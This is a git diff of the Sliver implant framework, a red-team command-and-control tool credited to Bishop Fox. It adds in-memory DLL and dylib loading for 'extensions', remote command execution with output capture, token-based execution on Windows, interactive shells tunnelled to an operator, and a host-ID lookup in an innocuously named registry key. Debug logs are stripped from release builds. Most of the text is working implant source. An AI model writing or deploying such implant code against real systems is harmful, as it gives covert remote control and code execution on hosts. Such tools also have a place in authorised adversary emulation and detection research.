github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
@@ -53,6 +56,10 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
@@ -116,6 +123,7 @@ github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGE
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
@@ -264,6 +272,8 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
@@ -323,8 +333,9 @@ github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOA
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
@@ -361,6 +372,7 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
@@ -517,6 +529,7 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -555,6 +568,7 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+1 -7
View File
@@ -8,12 +8,6 @@ values such as X.509 certificates, etc. and compiles it to produce a binary.
The implant code contains a lot of platform specific code too, which varies the features
that will be supported on different platforms.
Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
valid Go compiler target but only contains very generic commands/features.
### Adding Implant Features
Simply adding new files to this directory will not work (but you can edit existing files).
In order to add new features you'll need to add the code to this directory AND update the
`server/generate/srcfiles.go` which contains a list of files the server should render.
+1 -1
View File
@@ -15,4 +15,4 @@ require (
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
github.com/pquerna/otp v1.3.0
)
)
+35
View File
@@ -0,0 +1,35 @@
package extension
import "errors"
var extensions map[string]Extension
type Extension interface {
Load() error
Call(exportName string, arguments []byte, callback func([]byte)) error
GetID() string
GetArch() string
}
func Add(e Extension) {
extensions[e.GetID()] = e
}
func List() []string {
var extList []string
for id := range extensions {
extList = append(extList, id)
}
return extList
}
func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
if ext, found := extensions[extID]; found {
return ext.Call(funcName, arguments, callback)
}
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
}
func init() {
extensions = make(map[string]Extension)
}
@@ -0,0 +1,105 @@
package extension
import (
"bytes"
"runtime"
"unsafe"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/Binject/universal"
)
type DarwinExtension struct {
id string
data []byte
module *universal.Library
arch string
serverStore bool
init string
}
type extensionArguments struct {
inDataSize uintptr
inDataBuff uintptr
outDataSize uintptr
outDataBuff uintptr
}
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
return &DarwinExtension{
id: id,
data: data,
arch: arch,
init: init,
}
}
func (d *DarwinExtension) GetID() string {
return d.id
}
func (d *DarwinExtension) GetArch() string {
return d.arch
}
func (d *DarwinExtension) Load() error {
var err error
loader, err := universal.NewLoader()
if err != nil {
return err
}
d.module, err = loader.LoadLibrary(d.id, &d.data)
if err != nil {
return err
}
if d.init != "" {
if _, errInit := d.module.Call(d.init); errInit != nil {
return errInit
}
}
return nil
}
func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
// We currently have 2 issues with Darwin extensions:
// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
// - we don't have Go callback support for the loaded extension,
// so we have to wait for the call to finish to get the results
// To circumvent these issues, we pass the extensionArguments structure
// as the only argument to the call, so we can pass args in and extract
// the result at the same time.
runtime.LockOSThread()
defer runtime.UnlockOSThread()
extArgs := extensionArguments{}
if len(arguments) > 0 {
extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
extArgs.inDataSize = uintptr(uint64(len(arguments)))
}
// {{if .Config.Debug}}
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
// {{end}}
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("%s done!\n", export)
// {{end}}
outData := new(bytes.Buffer)
outDataSize := int(extArgs.outDataSize)
// {{if .Config.Debug}}
log.Printf("Out data size: %d\n", outDataSize)
// {{end}}
for i := 0; i < outDataSize; i++ {
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
outData.WriteByte(*b)
}
// We currently don't have a way to trigger a callback
// in the loaded code for Darwin.
if outData.Len() > 0 {
onFinish(outData.Bytes())
}
return nil
}
@@ -0,0 +1,114 @@
package extension
import (
"bytes"
"errors"
"syscall"
"unsafe"
// {{if .Config.Debug}}
"log"
// {{end}}
"golang.zx2c4.com/wireguard/tun/wintun/memmod"
)
const (
Success = 0
Failure = 1
)
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
serverStore bool
}
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
return &WindowsExtension{
id: id,
data: data,
arch: arch,
init: init,
}
}
func (w *WindowsExtension) GetID() string {
return w.id
}
func (w *WindowsExtension) GetArch() string {
return w.arch
}
func (w *WindowsExtension) Load() error {
var err error
w.module, err = memmod.LoadLibrary(w.data)
if err != nil {
return err
}
if w.init != "" {
initProc, errInit := w.module.ProcAddressByName(w.init)
if errInit == nil {
// {{if .Config.Debug}}
log.Printf("Calling %s\n", w.init)
// {{end}}
syscall.Syscall(initProc, 0, 0, 0, 0)
} else {
return errInit
}
}
return nil
}
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
var (
argumentsPtr uintptr
argumentsSize uintptr
)
if w.module == nil {
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
}
w.onFinish = onFinish
callback := syscall.NewCallback(w.extensionCallback)
exportPtr, err := w.module.ProcAddressByName(export)
if err != nil {
return err
}
if len(arguments) > 0 {
argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
argumentsSize = uintptr(uint32(len(arguments)))
}
// {{if .Config.Debug}}
log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
// {{end}}
// The extension API must respect the following prototype:
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
// where goCallback = int(char *, int)
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
if errNo != 0 {
return errors.New(errNo.Error())
}
return nil
}
// extensionCallback takes a buffer (char *) and its size (int) as parameters
// so we can pass data back to the Go process from the loaded DLL
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
outDataSize := int(dataLen)
outBuff := new(bytes.Buffer)
for i := 0; i < outDataSize; i++ {
b := (*byte)(unsafe.Pointer(uintptr(i) + data))
outBuff.WriteByte(*b)
}
//TODO: do something with outBuff
if outBuff.Len() > 0 {
w.onFinish(outBuff.Bytes())
}
return Success
}
+61 -6
View File
@@ -20,6 +20,7 @@ package handlers
import (
"archive/tar"
"bufio"
"bytes"
"compress/gzip"
"errors"
@@ -127,7 +128,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
}
func getDirList(target string) (string, []os.FileInfo, error) {
dir, _ := filepath.Abs(target)
dir, err := filepath.Abs(target)
if err != nil {
// {{if .Config.Debug}}
log.Printf("dir list failed to construct path %s", err)
// {{end}}
return "", nil, err
}
if _, err := os.Stat(dir); !os.IsNotExist(err) {
files, err := ioutil.ReadDir(dir)
return dir, files, err
@@ -140,7 +147,7 @@ func rmHandler(data []byte, resp RPCResponse) {
err := proto.Unmarshal(data, rmReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
log.Printf("error decoding message: %s", err)
// {{end}}
return
}
@@ -362,7 +369,11 @@ func uploadHandler(data []byte, resp RPCResponse) {
func executeHandler(data []byte, resp RPCResponse) {
var (
err error
err error
stdErr io.Writer
stdOut io.Writer
errWriter *bufio.Writer
outWriter *bufio.Writer
)
execReq := &sliverpb.ExecuteReq{}
err = proto.Unmarshal(data, execReq)
@@ -377,9 +388,43 @@ func executeHandler(data []byte, resp RPCResponse) {
cmd := exec.Command(execReq.Path, execReq.Args...)
if execReq.Output {
res, err := cmd.CombinedOutput()
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
stdOut = stdOutBuff
if execReq.Stderr != "" {
stdErrFile, err := os.Create(execReq.Stderr)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdErrFile.Close()
errWriter = bufio.NewWriter(stdErrFile)
stdErr = io.MultiWriter(errWriter, stdErrBuff)
}
if execReq.Stdout != "" {
stdOutFile, err := os.Create(execReq.Stdout)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdOutFile.Close()
outWriter = bufio.NewWriter(stdOutFile)
stdOut = io.MultiWriter(outWriter, stdOutBuff)
}
cmd.Stdout = stdOut
cmd.Stderr = stdErr
err := cmd.Run()
//{{if .Config.Debug}}
log.Println(string(res))
log.Println(string(stdOutBuff.String()))
//{{end}}
if err != nil {
// Exit errors are not a failure of the RPC, but of the command.
@@ -391,7 +436,17 @@ func executeHandler(data []byte, resp RPCResponse) {
}
}
}
execResp.Result = string(res)
if errWriter != nil {
errWriter.Flush()
}
if outWriter != nil {
outWriter.Flush()
}
execResp.Stderr = stdErrBuff.String()
execResp.Stdout = stdOutBuff.String()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
@@ -19,8 +19,11 @@ package handlers
*/
import (
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
@@ -50,6 +53,11 @@ var (
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
sliverpb.MsgCallExtensionReq: callExtensionHandler,
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
@@ -73,3 +81,70 @@ func GetSystemHandlers() map[uint32]RPCHandler {
func GetSystemPivotHandlers() map[uint32]PivotHandler {
return darwinPivotHandlers
}
// Extensions
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
if err != nil {
registerResp.Response.Err = err.Error()
}
data, err = proto.Marshal(registerResp)
resp(data, err)
}
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
gotOutput := false
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
gotOutput = true
callResp.Output = out
data, err = proto.Marshal(callResp)
resp(data, err)
})
// Only send back synchronously if there was an error
if err != nil || !gotOutput {
if err != nil {
callResp.Response.Err = err.Error()
}
data, err = proto.Marshal(callResp)
resp(data, err)
}
}
func listExtensionsHandler(data []byte, resp RPCResponse) {
lstReq := &sliverpb.ListExtensionsReq{}
err := proto.Unmarshal(data, lstReq)
if err != nil {
return
}
exts := extension.List()
lstResp := &sliverpb.ListExtensions{
Response: &commonpb.Response{},
Names: exts,
}
data, err = proto.Marshal(lstResp)
resp(data, err)
}
@@ -1,4 +1,4 @@
// +build !windows !linux !darwin
//go:build !(linux || darwin || windows)
package handlers
+126 -4
View File
@@ -19,7 +19,11 @@ package handlers
*/
import (
"bufio"
"bytes"
"fmt"
"io"
"os"
// {{if .Config.Debug}}
"log"
@@ -28,6 +32,7 @@ import (
"os/exec"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/registry"
@@ -91,6 +96,11 @@ var (
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
sliverpb.MsgCallExtensionReq: callExtensionHandler,
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
@@ -218,7 +228,11 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
func executeTokenHandler(data []byte, resp RPCResponse) {
var (
err error
err error
stdErr io.Writer
stdOut io.Writer
errWriter *bufio.Writer
outWriter *bufio.Writer
)
execReq := &sliverpb.ExecuteReq{}
err = proto.Unmarshal(data, execReq)
@@ -238,9 +252,43 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
}
if execReq.Output {
res, err := cmd.CombinedOutput()
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
stdOut = stdOutBuff
if execReq.Stderr != "" {
stdErrFile, err := os.Create(execReq.Stderr)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdErrFile.Close()
errWriter = bufio.NewWriter(stdErrFile)
stdErr = io.MultiWriter(errWriter, stdErrBuff)
}
if execReq.Stdout != "" {
stdOutFile, err := os.Create(execReq.Stdout)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdOutFile.Close()
outWriter = bufio.NewWriter(stdOutFile)
stdOut = io.MultiWriter(outWriter, stdOutBuff)
}
cmd.Stdout = stdOut
cmd.Stderr = stdErr
err := cmd.Run()
//{{if .Config.Debug}}
log.Println(string(res))
log.Println(string(stdOutBuff.String()))
//{{end}}
if err != nil {
// Exit errors are not a failure of the RPC, but of the command.
@@ -252,7 +300,14 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
}
}
}
execResp.Result = string(res)
if errWriter != nil {
errWriter.Flush()
}
if outWriter != nil {
outWriter.Flush()
}
execResp.Stderr = stdErrBuff.String()
execResp.Stdout = stdOutBuff.String()
} else {
err = cmd.Start()
if err != nil {
@@ -580,3 +635,70 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
data, err = proto.Marshal(getPrivsResp)
resp(data, err)
}
// Extensions
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
if err != nil {
registerResp.Response.Err = err.Error()
}
data, err = proto.Marshal(registerResp)
resp(data, err)
}
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
gotOutput := false
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
gotOutput = true
callResp.Output = out
data, err = proto.Marshal(callResp)
resp(data, err)
})
// Only send back synchronously if there was an error
if err != nil || !gotOutput {
if err != nil {
callResp.Response.Err = err.Error()
}
data, err = proto.Marshal(callResp)
resp(data, err)
}
}
func listExtensionsHandler(data []byte, resp RPCResponse) {
lstReq := &sliverpb.ListExtensionsReq{}
err := proto.Unmarshal(data, lstReq)
if err != nil {
return
}
exts := extension.List()
lstResp := &sliverpb.ListExtensions{
Response: &commonpb.Response{},
Names: exts,
}
data, err = proto.Marshal(lstResp)
resp(data, err)
}
+1 -1
View File
@@ -1,4 +1,4 @@
// +build windows linux darwin
//go:build linux || darwin || windows
package handlers
+1 -1
View File
@@ -1,4 +1,4 @@
// +build windows linux darwin
//go:build linux || darwin || windows
package handlers
@@ -1,4 +1,4 @@
// +build !darwin !windows !linux
//go:build !(linux || darwin || windows)
package hostuuid
+23 -11
View File
@@ -21,23 +21,35 @@ package hostuuid
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"golang.org/x/sys/windows/registry"
)
// Stored Format: {U-U-I-D}
var uuid_keypath = "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig"
var uuid_key = "LastConfig"
var uuidKeyPath = "SYSTEM\\HardwareConfig"
var uuidKey = "LastConfig"
func GetUUID() string {
key, err := registry.OpenKey(registry.CURRENT_USER, uuid_keypath, registry.QUERY_VALUE)
if err != nil {
return ""
}
var uuidStr string
var err error
str, _, err := key.GetStringValue(uuid_key)
if err != nil {
return ""
key, err := registry.OpenKey(registry.LOCAL_MACHINE, uuidKeyPath, registry.QUERY_VALUE)
if err == nil {
uuidStr, _, err = key.GetStringValue(uuidKey)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to read reg key string value: %s", err)
// {{end}}
return ""
}
return uuidStr[1:37]
} else {
// {{if .Config.Debug}}
log.Printf("Failed to read reg key: %s", err)
// {{end}}
}
return str[1:37]
return ""
}
@@ -1,4 +1,4 @@
// +build !windows !linux !darwin
//go:build !(linux || darwin || windows)
package limits
@@ -1,4 +1,6 @@
// +build !windows !linux !darwin
//go:build !(linux || darwin || windows)
package proxy
// Copyright 2018, Rapid7, Inc.
// License: BSD-3-clause
@@ -13,8 +15,6 @@
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
package proxy
import (
"bufio"
"bytes"
+115
View File
@@ -0,0 +1,115 @@
//go:build darwin || linux || freebsd || openbsd || dragonfly
package shell
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"os/exec"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
)
var (
// Shell constants
bash = []string{"/bin/bash"}
sh = []string{"/bin/sh"}
)
// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
return cmd.Start()
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
if enablePty {
return ptyShell(tunnelID, command)
}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
}
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
}
func ptyShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
term, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: term,
Stdin: term,
}
}
